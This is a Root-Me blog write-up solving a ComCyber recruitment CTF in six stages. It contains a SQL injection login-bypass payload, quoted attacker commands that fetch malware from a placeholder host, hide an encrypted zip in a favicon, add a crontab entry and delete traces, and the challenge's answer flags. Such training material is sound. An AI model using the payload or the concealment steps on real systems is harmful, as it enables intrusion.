Root-Me BlogWriteup - ComCyber Recrutement CTF
Context
On September 2, 2024, the Commandement de la Cyberdéfense (ComCyber) launched a unique challenge running until September 30, 2024. Created by Root-Me Pro, it is part of ComCyber’s recruitment campaign for cyber sous-officers.
This “realistic” challenge consists of several stages, each focusing on a specific professional domain:
- Network
- Web
- Forensic
- Steganography
- Reverse Engineering
- Cryptography
Introduction
The challenge begins with a homepage that introduces players to the context of the challenge, explains the objectives, and outlines the process. This homepage can be accessed at the following address:
Players are then invited to click the “Start Challenge” button and fill out a form containing required and optional information.
Once the form is filled out, players are redirected to a new page that presents the context and objectives of the mission. This mission aims to restore communication that has been interrupted with a vehicle.
Step 1 - Network
The first step of the challenge is to analyze a network capture using an appropriate tool (Wireshark for example).
The .pcap file downloaded presents a capture of a communication using the TELNET protocol, which, by default, does not have any encryption. By following this communication, we can clearly read each command entered by the user on the target operating system.
We quickly observe the different system commands executed by the user, as well as a Base64 encoded string that the user inserts into the /tmp/secret file.
Uk17N2FmZjJhNjA3YjEzZjczY2IwOTM2Zjk2ZTY3YjIxMDIwN2FlMDQ3NX0K
Once decoded, this string reveals the flag for the first step:
RM{7aff2a607b13f73cb0936f96e67b210207ae0475}
The next analysis confirms that the communication has been interrupted and that the TELNET port is no longer responding.
Then, the server receives UDP packets containing a message explaining that the communication is interrupted and that it is necessary to consult the dashboard to reactivate it.
We then access the dashboard, which appears to be protected by authentication.
Step 2 - Web
After a few tests, it appears that the authentication is not vulnerable to weak passwords. However, it is indicated that the authentication returns an error when certain characters are inserted.
This suggests a SQL injection, as indicated by the error Error in SQL Syntax. The following payload then allows bypassing authentication by making the SQL query ‘valid’:
admin' OR '1'='1' --
It is also possible to use SQLMap to retrieve all the contents of the database, thus allowing the flag for the second step to be obtained:
RM{a868c4433fd2ded45624a7c8998cdfe04113b7c5}
Once this step is completed, we are redirected to the dashboard of the communication management tool. We quickly notice that a vehicle is no longer connected to the dashboard (disconnected in red):
Step 3 - Forensic
By exploring the application, we notice that a vehicle is disabled. We have the ability to activate it, but this requires an activation code that we do not currently possess.
It is possible to download the latest logs from the vehicle’s operating system and begin a forensic analysis.
We obtain the latest logs from the vehicle’s operating system and realize that they come from the SYSLOG of the machine.
It is then possible to search for the different commands executed on the machine by searching for the pattern CMD in the logs.
Among the commands, certain ones catch our attention, such as the following:
echo 'efa3fb1f409aa622dddd7220ad6567580fb68b68' > /tmp/.passwordvim message.txtwget -O /dev/null https://attacker.site/m4lw3r3zip --password ($cat /tmp/.password) secret.zip message.txt m4lw3r3cat /app/static/assets/images/favicon.ico ./secret.zip > /app/static/assets/images/favicon.icoecho '2a202a202a202a202a20206563686f2027524d7b393835336561303861623734373265653865663237633631363239396461663530653330626439307d270a' | xxd -r -p | crontab -crontab -lrm -rf ./message.txt ./secret.zip ./m4lw3r3rm -rf /tmp/.password
From these commands, we can see that an attacker has uploaded malware onto the machine, placed it in an encrypted ZIP file, and hidden this ZIP file in the favicon of the application to retrieve it later, before deleting all traces of their actions.
However, during the encryption of the ZIP, they used a password recorded in a file, which we can retrieve using the echo command present in the logs.
It is then possible to retrieve the favicon of the application to extract the malware.
We also find a flag encoded in hexadecimal that has been inserted into a crontab file.
* * * * * echo 'RM{9853ea08ab7472ee8ef27c616299daf50e30bd90}RM{9853ea08ab7472ee8ef27c616299daf50e30bd90}
Step 4 - Steganography
Once the favicon has been retrieved, it is necessary to extract the encrypted archive using the binwalk tool.
We have extracted two archives, one of which is empty. The other, named 3C2E, catches our attention as it contains the two files we had previously identified in the logs of the machine.
It is possible to extract these files using the password found in the logs.
The message.txt file contains the flag for the fourth step.
RM{6ba43cb5eeab217270e9692e939da5341a82d2ff}
Step 5 - Reverse Engineering
The program can be executed via the command line, but we don’t know what inputs it expects, especially since it requires two.
By opening the program in a disassembler such as IDA Free and generating a pseudo-code in C, we can observe that it concatenates three strings for comparison with the input 1.
By reassembling these three strings, we obtain the flag which will be used to validate the input 1 of the program.
RM{6762f71489bb7b57bbdaabd1306a677bbcf25bd7}
Step 6 - Cryptography
For this last step, we must still find the activation code of the compromised device. We also need a second input to make the program work. By analyzing the program in more detail, we notice that if the input 2 is validated, a message appears, indicating that we are now able to decrypt a string in hexadecimal. This suggests the presence of a cryptographic vulnerability.
Our hypothesis is confirmed by finding calls to cryptographic functions RSA in the assembly code, as well as the presence of the values e for the exponent and n for the module.
We can now retrieve the hexadecimal values of e and n by selecting them in our disassembler, then converting them to decimal as follows with python.
We notice that the exponent e is much too large, making the implementation vulnerable to Wiener’s attack.
Therefore, it becomes possible to decrypt the encrypted messages, which we can do with the RsaCtfTool tool on the previously found encrypted message, which we also convert to decimal.
After successfully attacking the RSA implementation, we obtain a string of characters that appears to be the code necessary to reactivate the communication.
After reactivating the vehicle, we receive the final message of the challenge, as well as the last flag of this sixth step.
RM{8b5bd7dc99433e2ec980dfb03401341fb1b879d8}